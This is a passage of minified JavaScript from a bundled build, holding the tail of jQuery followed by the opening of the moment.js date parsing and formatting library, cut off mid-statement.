1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.holdReady=function(a){a?r.readyWait++:r.ready(!0)},r.isArray=Array.isArray,r.parseJSON=JSON.parse,r.nodeName=B,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var Vb=a.jQuery,Wb=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=Wb),b&&a.jQuery===r&&(a.jQuery=Vb),r},b||(a.jQuery=a.$=r),r}); !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.moment=t()}(this,function(){"use strict";function e(){return Qe.apply(null,arguments)}function t(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function n(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function s(e){return void 0===e}function i(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function r(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function a(e,t){var n,s=[];for(n=0;n<e.length;++n)s.push(t(e[n],n));return s}function o(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function u(e,t){for(var n in t)o(t,n)&&(e[n]=t[n]);return o(t,"toString")&&(e.toString=t.toString),o(t,"valueOf")&&(e.valueOf=t.valueOf),e}function l(e,t,n,s){return ge(e,t,n,s,!0).utc()}function d(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function h(e){if(null==e._isValid){var t=d(e),n=Xe.call(t.parsedDateParts,function(e){return null!=e}),s=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&n);if(e._strict&&(s=s&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return s;e._isValid=s}return e._isValid}function c(e){var t=l(NaN);return null!=e?u(d(t),e):d(t).userInvalidated=!0,t}function f(e,t){var n,i,r;if(s(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),s(t._i)||(e._i=t._i),s(t._f)||(e._f=t._f),s(t._l)||(e._l=t._l),s(t._strict)||(e._strict=t._strict),s(t._tzm)||(e._tzm=t._tzm),s(t._isUTC)||(e._isUTC=t._isUTC),s(t._offset)||(e._offset=t._offset),s(t._pf)||(e._pf=d(t)),s(t._locale)||(e._locale=t._locale),Ke.length>0)for(n=0;n<Ke.length;n++)s(r=t[i=Ke[n]])||(e[i]=r);return e}function m(t){f(this,t),this._d=new Date(null!=t._d?t._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===et&&(et=!0,e.updateOffset(this),et=!1)}function _(e){return e instanceof m||null!=e&&null!=e._isAMomentObject}function y(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function g(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=y(t)),n}function p(e,t,n){var s,i=Math.min(e.length,t.length),r=Math.abs(e.length-t.length),a=0;for(s=0;s<i;s++)(n&&e[s]!==t[s]||!n&&g(e[s])!==g(t[s]))&&a++;return a+r}function w(t){!1===e.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+t)}function v(t,n){var s=!0;return u(function(){if(null!=e.deprecationHandler&&e.deprecationHandler(null,t),s){for(var i,r=[],a=0;a<arguments.length;a++){if(i="","object"==typeof arguments[a]){i+="\n["+a+"] ";for(var o in arguments[0])i+=o+": "+arguments[0][o]+", ";i=i.slice(0,-2)}else i=arguments[a];r.push(i)}w(t+"\nArguments: "+Array.prototype.slice.call(r).join("")+"\n"+(new Error).stack),s=!1}return n.apply(this,arguments)},n)}function M(t,n){null!=e.deprecationHandler&&e.deprecationHandler(t,n),tt[t]||(w(n),tt[t]=!0)}function S(e){return e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function D(e,t){var s,i=u({},e);for(s in t)o(t,s)&&(n(e[s])&&n(t[s])?(i[s]={},u(i[s],e[s]),u(i[s],t[s])):null!=t[s]?i[s]=t[s]:delete i[s]);for(s in e)o(e,s)&&!o(t,s)&&n(e[s])&&(i[s]=u({},i[s]));return i}function k(e){null!=e&&this.set(e)}function Y(e,t){var n=e.toLowerCase();st[n]=st[n+"s"]=st[t]=e}function O(e){return"string"==typeof e?st[e]||st[e.toLowerCase()]:void 0}function T(e){var t,n,s={};for(n in e)o(e,n)&&(t=O(n))&&(s[t]=e[n]);return s}function x(e,t){it[e]=t}function b(e,t,n){var s=""+Math.abs(e),i=t-s.length;return(e>=0?n?"+":"":"-")+Math.pow(10,Math.max(0,i)).toString().substr(1)+s}function P(e,t,n,s){var i=s;"string"==typeof s&&(i=function(){return this[s]()}),e&&(ut[e]=i),t&&(ut[t[0]]=function(){return b(i.apply(this,arguments),t[1],t[2])}),n&&(ut[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function W(e){return e.match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"")}function H(e,t){return e.isValid()?(t=R(t,e.localeData()),ot[t]=ot[t]||function(e){var t,n,s=e.match(rt);for(t=0,n=s.length;t<n;t++)ut[s[t]]?s[t]=ut[s[t]]:s[t]=W(s[t]);return function(t){var i,r="";for(i=0;i<n;i++)r+=S(s[i])?s[i].call(t,e):s[i];return r}}(t),ot[t](e)):e.localeData().invalidDate()}function R(e,t){function n(e){return t.longDateFormat(e)||e}var s=5;for(at.lastIndex=0;s>=0&&at.test(e);)e=e.replace(at,n),at.lastIndex=0,s-=1;return e}function C(e,t,n){Yt[e]=S(t)?t:function(e,s){return e&&n?n:t}}function F(e,t){return o(Yt,e)?Yt[e](t._strict,t._locale):new RegExp(function(e){return U(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,function(e,t,n,s,i){return t||n||s||i}))}(e))}function U(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}function L(e,t){var n,s=t;for("string"==typeof e&&(e=[e]),i(t)&&(s=function(e,n){n[t]=g(e)}),n=0;n<e.length;n++)Ot[e[n]]=s}function N(e,t){L(e,function(e,n,s,i){s._w=s._w||{},t(e,s._w,s,i)})}function G(e,t,n){null!=t&&o(Ot,e)&&Ot[e](t,n._a,n,e)}function V(e){return E(e)?366:365}function E(e){return e%4==0&&e%100!=0||e%400==0}function I(t,n){return function(s){return null!=s?(j(this,t,s),e.updateOffset(this,n),this):A(this,t)}}function A(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function j(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&E(e.year())&&1===e.month()&&29===e.date()?e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),Z(n,e.month())):e._d["set"+(e._isUTC?"UTC":"")+t](n))}function Z(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=function(e,t){return(e%t+t)%t}(t,12);return e+=(t-n)/12,1===n?E(e)?29:28:31-n%7%2}function z(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=g(t);else if(t=e.localeData().monthsParse(t),!i(t))return e;return n=Math.min(e.date(),Z(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function $(t){return null!=t?(z(this,t),e.updateOffset(this,!0),this):A(this,"Month")}function q(){function e(e,t){return t.length-e.length}var t,n,s=[],i=[],r=[];for(t=0;t<12;t++)n=l([2e3,t]),s.push(this.monthsShort(n,"")),i.push(this.months(n,"")),r.push(this.months(n,"")),r.push(this.monthsShort(n,""));for(s.sort(e),i.sort(e),r.sort(e),t=0;t<12;t++)s[t]=U(s[t]),i[t]=U(i[t]);for(t=0;t<24;t++)r[t]=U(r[t]);this._monthsRegex=new RegExp("^("+r.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+s.join("|")+")","i")}function J(e){var t=new Date(Date.UTC.apply(null,arguments));return e<100&&e>=0&&isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e),t}function B(e,t,n){var s=7+t-n;return-((7+J(e,0,s).getUTCDay()-t)%7)+s-1}function Q(e,t,n,s,i){var r,a,o=1+7*(t-1)+(7+n-s)%7+B(e,s,i);return o<=0?a=V(r=e-1)+o:o>V(e)?(r=e+1,a=o-V(e)):(r=e,a=o),{year:r,dayOfYear:a}}function X(e,t,n){var s,i,r=B(e.year(),t,n),a=Math.floor((e.dayOfYear()-r-1)/7)+1;return a<1?s=a+K(i=e.year()-1,t,n):a>K(e.year(),t,n)?(s=a-K(e.year(),t,n),i=e.year()+1):(i=e.year(),s=a),{week:s,year:i}}function K(e,t,n){var s=B(e,t,n),i=B(e+1,t,n);return(V(e)-s+i)/7}function ee(){function e(e,t){return t.length-e.length}var t,n,s,i,r,a=[],o=[],u=[],d=[];for(t=0;t<7;t++)n=l([2e3,1]).day(t),s=this.weekdaysMin(n,""),i=this.weekdaysShort(n,""),r=this.weekdays(n,""),a.push(s),o.push(i),u.push(r),d.push(s),d.push(i),d.push(r);for(a.sort(e),o.sort(e),u.sort(e),d.sort(e),t=0;t<7;t++)o[t]=U(o[t]),u[t]=U(u[t]),d[t]=U(d[t]);this._weekdaysRegex=new RegExp("^("+d.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function te(){return this.hours()%12||12}function ne(e,t){P(e,0,0,function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)})}function se(e,t){return t._meridiemParse}function ie(e){return e?e.toLowerCase().replace("_","-"):e}function re(e){var t=null;if(!Xt[e]&&"undefined"!=typeof module&&module&&module.exports)try{t=Jt._abbr;require("./locale/"+e),ae(t)}catch(e){}return Xt[e]}function ae(e,t){var n;return e&&(n=s(t)?ue(e):oe(e,t))&&(Jt=n),Jt._abbr}function oe(e,t){if(null!==t){var n=Qt;if(t.abbr=e,null!=Xt[e])M("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),n=Xt[e]._config;else if(null!=t.parentLocale){if(null==Xt[t.parentLocale])return Kt[t.parentLocale]||(Kt[t.parentLocale]=[]),Kt[t.parentLocale].push({name:e,config:t}),null;n=Xt[t.parentLocale]._config}return Xt[e]=new k(D(n,t)),Kt[e]&&Kt[e].forEach(function(e){oe(e.name,e.config)}),ae(e),Xt[e]}return delete Xt[e],null}function ue(e){var n;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return Jt;if(!t(e)){if(n=re(e))return n;e=[e]}return function(e){for(var t,n,s,i,r=0;r<e.length;){for(t=(i=ie(e[r]).split("-")).length,n=(n=ie(e[r+1]))?n.split("-"):null;t>0;){if(s=re(i.slice(0,t).join("-")))return s;if(n&&n.length>=t&&p(i,n,!0)>=t-1)break;t--}r++}return null}(e)}function le(e){var t,n=e._a;return n&&-2===d(e).overflow&&(t=n[xt]<0||n[xt]>11?xt:n[bt]<1||n[bt]>Z(n[Tt],n[xt])?bt:n[Pt]<0||n[Pt]>24||24===n[Pt]&&(0!==n[Wt]||0!==n[Ht]||0!==n[Rt])?Pt:n[Wt]<0||n[Wt]>59?Wt:n[Ht]<0||n[Ht]>59?Ht:n[Rt]<0||n[Rt]>999?Rt:-1,d(e)._overflowDayOfYear&&(t<Tt||t>bt)&&(t=bt),d(e)._overflowWeeks&&-1===t&&(t=Ct),d(e)._overflowWeekday&&-1===t&&(t=Ft),d(e).overflow=t),e}function de(e,t,n){return null!=e?e:null!=t?t:n}function he(t){var n,s,i,r,a,o=[];if(!t._d){for(i=function(t){var n=new Date(e.now());return t._useUTC?[n.getUTCFullYear(),n.getUTCMonth(),n.getUTCDate()]:[n.getFullYear(),n.getMonth(),n.getDate()]}(t),t._w&&null==t._a[bt]&&null==t._a[xt]&&function(e){var t,n,s,i,r,a,o,u;if(null!=(t=e._w).GG||null!=t.W||null!=t.E)r=1,a=4,n=de(t.GG,e._a[Tt],X(pe(),1,4).year),s=de(t.W,1),((i=de(t.E,1))<1||i>7)&&(u=!0);else{r=e._locale._week.dow,a=e._locale._week.doy;var l=X(pe(),r,a);n=de(t.gg,e._a[Tt],l.year),s=de(t.w,l.week),null!=t.d?((i=t.d)<0||i>6)&&(u=!0):null!=t.e?(i=t.e+r,(t.e<0||t.e>6)&&(u=!0)):i=r}s<1||s>K(n,r,a)?d(e)._overflowWeeks=!0:null!=u?d(e)._overflowWeekday=!0:(o=Q(n,s,i,r,a),e._a[Tt]=o.year,e._dayOfYear=o.dayOfYear)}(t),null!=t._dayOfYear&&(a=de(t._a[Tt],i[Tt]),(t._dayOfYear>V(a)||0===t._dayOfYear)&&(d(t)._overflowDayOfYear=!0),s=J(a,0,t._dayOfYear),t._a[xt]=s.getUTCMonth(),t._a[bt]=s.getUTCDate()),n=0;n<3&&null==t._a[n];++n)t._a[n]=o[n]=i[n];for(;n<7;n++)t._a[n]=o[n]=null==t._a[n]?2===n?1:0:t._a[n];24===t._a[Pt]&&0===t._a[Wt]&&0===t._a[Ht]&&0===t._a[Rt]&&(t._nextDay=!0,t._a[Pt]=0),t._d=(t._useUTC?J:function(e,t,n,s,i,r,a){var o=new Date(e,t,n,s,i,r,a);return e<100&&e>=0&&isFinite(o.getFullYear())&&o.setFullYear(e),o}).apply(null,o),r=t._useUTC?t._d.getUTCDay():t._d.getDay(),null!=t._tzm&&t._d.setUTCMinutes(t._d.getUTCMinutes()-t._tzm),t._nextDay&&(t._a[Pt]=24),t._w&&void 0!==t._w.d&&t._w.d!==r&&(d(t).weekdayMismatch=!0)}}function ce(e){var t,n,s,i,r,a,o=e._i,u=en.exec(o)||tn.exec(o);if(u){for(d(e).iso=!0,t=0,n=sn.length;t<n;t++)if(sn[t][1].exec(u[1])){i=sn[t][0],s=!1!==sn[t][2];break}if(null==i)return void(e._isValid=!1);if(u[3]){for(t=0,n=rn.length;t<n;t++)if(rn[t][1].exec(u[3])){r=(u[2]||" ")+rn[t][0];break}if(null==r)return void(e._isValid=!1)}if(!s&&null!=r)return void(e._isValid=!1);if(u[4]){if(!nn.exec(u[4]))return void(e._isValid=!1);a="Z"}e._f=i+(r||"")+(a||""),_e(e)}else e._isValid=!1}function fe(e,t,n,s,i,r){var a=[function(e){var t=parseInt(e,10);{if(t<=49)return 2e3+t;if(t<=999)return 1900+t}return t}(e),Vt.indexOf(t),parseInt(n,10),parseInt(s,10),parseInt(i,10)];return r&&a.push(parseInt(r,10)),a}function me(e){var t=on.exec(function(e){return e.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").trim()}(e._i));if(t){var n=fe(t[4],t[3],t[2],t[5],t[6],t[7]);if(!function(e,t,n){if(e&&jt.indexOf(e)!==new Date(t[0],t[1],t[2]).getDay())return d(n).weekdayMismatch=!0,n._isValid=!1,!1;return!0}(t[1],n,e))return;e._a=n,e._tzm=function(e,t,n){if(e)return un[e];if(t)return 0;var s=parseInt(n,10),i=s%100;return(s-i)/100*60+i}(t[8],t[9],t[10]),e._d=J.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),d(e).rfc2822=!0}else e._isValid=!1}function _e(t){if(t._f!==e.ISO_8601)if(t._f!==e.RFC_2822){t._a=[],d(t).empty=!0;var n,s,i,r,a,o=""+t._i,u=o.length,l=0;for(i=R(t._f,t._locale).match(rt)||[],n=0;n<i.length;n++)r=i[n],(s=(o.match(F(r,t))||[])[0])&&((a=o.substr(0,o.indexOf(s))).length>0&&d(t).unusedInput.push(a),o=o.slice(o.indexOf(s)+s.length),l+=s.length),ut[r]?(s?d(t).empty=!1:d(t).unusedTokens.push(r),G(r,s,t)):t._strict&&!s&&d(t).unusedTokens.push(r);d(t).charsLeftOver=u-l,o.length>0&&d(t).unusedInput.push(o),t._a[Pt]<=12&&!0===d(t).bigHour&&t._a[Pt]>0&&(d(t).bigHour=void 0),d(t).parsedDateParts=t._a.slice(0),d(t).meridiem=t._meridiem,t._a[Pt]=function(e,t,n){var s;if(null==n)return t;return null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((s=e.isPM(n))&&t<12&&(t+=12),s||12!==t||(t=0),t):t}(t._locale,t._a[Pt],t._meridiem),he(t),le(t)}else me(t);else ce(t)}function ye(o){var l=o._i,y=o._f;return o._locale=o._locale||ue(o._l),null===l||void 0===y&&""===l?c({nullInput:!0}):("string"==typeof l&&(o._i=l=o._locale.preparse(l)),_(l)?new m(le(l)):(r(l)?o._d=l:t(y)?function(e){var t,n,s,i,r;if(0===e._f.length)return d(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)r=0,t=f({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],_e(t),h(t)&&(r+=d(t).charsLeftOver,r+=10*d(t).unusedTokens.length,d(t).score=r,(null==s||r<s)&&(s=r,n=t));u(e,n||t)}(o):y?_e(o):function(o){var u=o._i;s(u)?o._d=new Date(e.now()):r(u)?o._d=new Date(u.valueOf()):"string"==typeof u?function(t){var n=an.exec(t._i);null===n?(ce(t),!1===t._isValid&&(delete t._isValid,me(t),!1===t._isValid&&(delete t._isValid,e.createFromInputFallback(t)))):t._d=new Date(+n[1])}(o):t(u)?(o._a=a(u.slice(0),function(e){return parseInt(e,10)}),he(o)):n(u)?function(e){if(!e._d){var t=T(e._i);e._a=a([t.year,t.month,t.day||t.date,t.hour,t.minute,t.second,t.millisecond],function(e){return e&&parseInt(e,10)}),he(e)}}(o):i(u)?o._d=new Date(u):e.createFromInputFallback(o)}(o),h(o)||(o._d=null),o))}function ge(e,s,i,r,a){var o={};return!0!==i&&!1!==i||(r=i,i=void 0),(n(e)&&function(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;var t;for(t in e)if(e.hasOwnProperty(t))return!1;return!0}(e)||t(e)&&0===e.length)&&(e=void 0),o._isAMomentObject=!0,o._useUTC=o._isUTC=a,o._l=i,o._i=e,o._f=s,o._strict=r,function(e){var t=new m(le(ye(e)));return t._nextDay&&(t.add(1,"d"),t._nextDay=void 0),t}(o)}function pe(e,t,n,s){return ge(e,t,n,s,!1)}function we(e,n){var s,i;if(1===n.length&&t(n[0])&&(n=n[0]),!n.length)return pe();for(s=n[0],i=1;i<n.length;++i)n[i].isValid()&&!n[i][e](s)||(s=n[i]);return s}function ve(e){var t=T(e),n=t.year||0,s=t.quarter||0,i=t.month||0,r=t.week||0,a=t.day||0,o=t.hour||0,u=t.minute||0,l=t.second||0,d=t.millisecond||0;this._isValid=function(e){for(var t in e)if(-1===Ut.call(hn,t)||null!=e[t]&&isNaN(e[t]))return!1;for(var n=!1,s=0;s<hn.length;++s)if(e[hn[s]]){if(n)return!1;parseFloat(e[hn[s]])!==g(e[hn[s]])&&(n=!0)}return!0}(t),this._milliseconds=+d+1e3*l+6e4*u+1e3*o*60*60,this._days=+a+7*r,this._months=+i+3*s+12*n,this._data={},this._locale=ue(),this._bubble()}function Me(e){return e instanceof ve}function Se(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function De(e,t){P(e,0,0,function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+b(~~(e/60),2)+t+b(~~e%60,2)})}function ke(e,t){var n=(t||"").match(e);if(null===n)return null;var s=((n[n.length-1]||[])+"").match(cn)||["-",0,0],i=60*s[1]+g(s[2]);return 0===i?0:"+"===s[0]?i:-i}function Ye(t,n){var s,i;return n._isUTC?(s=n.clone(),i=(_(t)||r(t)?t.valueOf():pe(t).valueOf())-s.valueOf(),s._d.setTime(s._d.valueOf()+i),e.updateOffset(s,!1),s):pe(t).local()}function Oe(e){return 15*-Math.round(e._d.getTimezoneOffset()/15)}function Te(){return!!this.isValid()&&(this._isUTC&&0===this._offset)}function xe(e,t){var n,s,r,a=e,u=null;return Me(e)?a={ms:e._milliseconds,d:e._days,M:e._months}:i(e)?(a={},t?a[t]=e:a.milliseconds=e):(u=fn.exec(e))?(n="-"===u[1]?-1:1,a={y:0,d:g(u[bt])*n,h:g(u[Pt])*n,m:g(u[Wt])*n,s:g(u[Ht])*n,ms:g(Se(1e3*u[Rt]))*n}):(u=mn.exec(e))?(n="-"===u[1]?-1:(u[1],1),a={y:be(u[2],n),M:be(u[3],n),w:be(u[4],n),d:be(u[5],n),h:be(u[6],n),m:be(u[7],n),s:be(u[8],n)}):null==a?a={}:"object"==typeof a&&("from"in a||"to"in a)&&(r=function(e,t){var n;if(!e.isValid()||!t.isValid())return{milliseconds:0,months:0};t=Ye(t,e),e.isBefore(t)?n=Pe(e,t):((n=Pe(t,e)).milliseconds=-n.milliseconds,n.months=-n.months);return n}(pe(a.from),pe(a.to)),(a={}).ms=r.milliseconds,a.M=r.months),s=new ve(a),Me(e)&&o(e,"_locale")&&(s._locale=e._locale),s}function be(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function Pe(e,t){var n={milliseconds:0,months:0};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function We(e,t){return function(n,s){var i,r;return null===s||isNaN(+s)||(M(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),r=n,n=s,s=r),n="string"==typeof n?+n:n,i=xe(n,s),He(this,i,e),this}}function He(t,n,s,i){var r=n._milliseconds,a=Se(n._days),o=Se(n._months);t.isValid()&&(i=null==i||i,o&&z(t,A(t,"Month")+o*s),a&&j(t,"Date",A(t,"Date")+a*s),r&&t._d.setTime(t._d.valueOf()+r*s),i&&e.updateOffset(t,a||o))}function Re(e,t){var n,s=12*(t.year()-e.year())+(t.month()-e.month()),i=e.clone().add(s,"months");return n=t-i<0?(t-i)/(i-e.clone().add(s-1,"months")):(t-i)/(e.clone().add(s+1,"months")-i),-(s+n)||0}function Ce(e){var t;return void 0===e?this._locale._abbr:(null!=(t=ue(e))&&(this._locale=t),this)}function Fe(){return this._locale}function Ue(e,t){P(0,[e,e.length],0,t)}function Le(e,t,n,s,i){var r;return null==e?X(this,s,i).year:(r=K(e,s,i),t>r&&(t=r),function(e,t,n,s,i){var r=Q(e,t,n,s,i),a=J(r.year,0,r.dayOfYear);return this.year(a.getUTCFullYear()),this.month(a.getUTCMonth()),this.date(a.getUTCDate()),this}.call(this,e,t,n,s,i))}function Ne(e,t){t[Rt]=g(1e3*("0."+e))}function Ge(e){return e}function Ve(e,t,n,s){var i=ue(),r=l().set(s,t);return i[n](r,e)}function Ee(e,t,n){if(i(e)&&(t=e,e=void 0),e=e||"",null!=t)return Ve(e,t,n,"month");var s,r=[];for(s=0;s<12;s++)r[s]=Ve(e,s,n,"month");return r}function Ie(e,t,n,s){"boolean"==typeof e?(i(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,i(t)&&(n=t,t=void 0),t=t||"");var r=ue(),a=e?r._week.dow:0;if(null!=n)return Ve(t,(n+a)%7,s,"day");var o,u=[];for(o=0;o<7;o++)u[o]=Ve(t,(o+a)%7,s,"day");return u}function Ae(e,t,n,s){var i=xe(t,n);return e._milliseconds+=s*i._milliseconds,e._days+=s*i._days,e._months+=s*i._months,e._bubble()}function je(e){return e<0?Math.floor(e):Math.ceil(e)}function Ze(e){return 4800*e/146097}function ze(e){return 146097*e/4800}function $e(e){return function(){return this.as(e)}}function qe(e){return function(){return this.isValid()?this._data[e]:NaN}}function Je(e){return(e>0)-(e<0)||+e}function Be(){if(!this.isValid())return this.localeData().invalidDate();var e,t,n=An(this._milliseconds)/1e3,s=An(this._days),i=An(this._months);t=y((e=y(n/60))/60),n%=60,e%=60;var r=y(i/12),a=i%=12,o=s,u=t,l=e,d=n?n.toFixed(3).replace(/\.?0+$/,""):"",h=this.asSeconds();if(!h)return"P0D";var c=h<0?"-":"",f=Je(this._months)!==Je(h)?"-":"",m=Je(this._days)!==Je(h)?"-":"",_=Je(this._milliseconds)!==Je(h)?"-":"";return c+"P"+(r?f+r+"Y":"")+(a?f+a+"M":"")+(o?m+o+"D":"")+(u||l||d?"T":"")+(u?_+u+"H":"")+(l?_+l+"M":"")+(d?_+d+"S":"")}var Qe,Xe;Xe=Array.prototype.some?Array.prototype.some:function(e){for(var t=Object(this),n=t.length>>>0,s=0;s<n;s++)if(s in t&&e.call(this,t[s],s,t))return!0;return!1};var Ke=e.momentProperties=[],et=!1,tt={};e.suppressDeprecationWarnings=!1,e.deprecationHandler=null;var nt;nt=Object.keys?Object.keys:function(e){var t,n=[];for(t in e)o(e,t)&&n.push(t);return n};var st={},it={},rt=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,at=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,ot={},ut={},lt=/\d/,dt=/\d\d/,ht=/\d{3}/,ct=/\d{4}/,ft=/[+-]?\d{6}/,mt=/\d\d?/,_t=/\d\d\d\d?/,yt=/\d\d\d\d\d\d?/,gt=/\d{1,3}/,pt=/\d{1,4}/,wt=/[+-]?\d{1,6}/,vt=/\d+/,Mt=/[+-]?\d+/,St=/Z|[+-]\d\d:?\d\d/gi,Dt=/Z|[+-]\d\d(?::?\d\d)?/gi,kt=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i,Yt={},Ot={},Tt=0,xt=1,bt=2,Pt=3,Wt=4,Ht=5,Rt=6,Ct=7,Ft=8;P("Y",0,0,function(){var e=this.year();return e<=9999?""+e:"+"+e}),P(0,["YY",2],0,function(){return this.year()%100}),P(0,["YYYY",4],0,"year"),P(0,["YYYYY",5],0,"year"),P(0,["YYYYYY",6,!0],0,"year"),Y("year","y"),x("year",1),C("Y",Mt),C("YY",mt,dt),C("YYYY",pt,ct),C("YYYYY",wt,ft),C("YYYYYY",wt,ft),L(["YYYYY","YYYYYY"],Tt),L("YYYY",function(t,n){n[Tt]=2===t.length?e.parseTwoDigitYear(t):g(t)}),L("YY",function(t,n){n[Tt]=e.parseTwoDigitYear(t)}),L("Y",function(e,t){t[Tt]=parseInt(e,10)}),e.parseTwoDigitYear=function(e){return g(e)+(g(e)>68?1900:2e3)};var Ut,Lt=I("FullYear",!0);Ut=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},P("M",["MM",2],"Mo",function(){return this.month()+1}),P("MMM",0,0,function(e){return this.localeData().monthsShort(this,e)}),P("MMMM",0,0,function(e){return this.localeData().months(this,e)}),Y("month","M"),x("month",8),C("M",mt),C("MM",mt,dt),C("MMM",function(e,t){return t.monthsShortRegex(e)}),C("MMMM",function(e,t){return t.monthsRegex(e)}),L(["M","MM"],function(e,t){t[xt]=g(e)-1}),L(["MMM","MMMM"],function(e,t,n,s){var i=n._locale.monthsParse(e,s,n._strict);null!=i?t[xt]=i:d(n).invalidMonth=e});var Nt=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,Gt="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),Vt="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),Et=kt,It=kt;P("w",["ww",2],"wo","week"),P("W",["WW",2],"Wo","isoWeek"),Y("week","w"),Y("isoWeek","W"),x("week",5),x("isoWeek",5),C("w",mt),C("ww",mt,dt),C("W",mt),C("WW",mt,dt),N(["w","ww","W","WW"],function(e,t,n,s){t[s.substr(0,1)]=g(e)});P("d",0,"do","day"),P("dd",0,0,function(e){return this.localeData().weekdaysMin(this,e)}),P("ddd",0,0,function(e){return this.localeData().weekdaysShort(this,e)}),P("dddd",0,0,function(e){return this.localeData().weekdays(this,e)}),P("e",0,0,"weekday"),P("E",0,0,"isoWeekday"),Y("day","d"),Y("weekday","e"),Y("isoWeekday","E"),x("day",11),x("weekday",11),x("isoWeekday",11),C("d",mt),C("e",mt),C("E",mt),C("dd",function(e,t){return t.weekdaysMinRegex(e)}),C("ddd",function(e,t){return t.weekdaysShortRegex(e)}),C("dddd",function(e,t){return t.weekdaysRegex(e)}),N(["dd","ddd","dddd"],function(e,t,n,s){var i=n._locale.weekdaysParse(e,s,n._strict);null!=i?t.d=i:d(n).invalidWeekday=e}),N(["d","e","E"],function(e,t,n,s){t[s]=g(e)});var 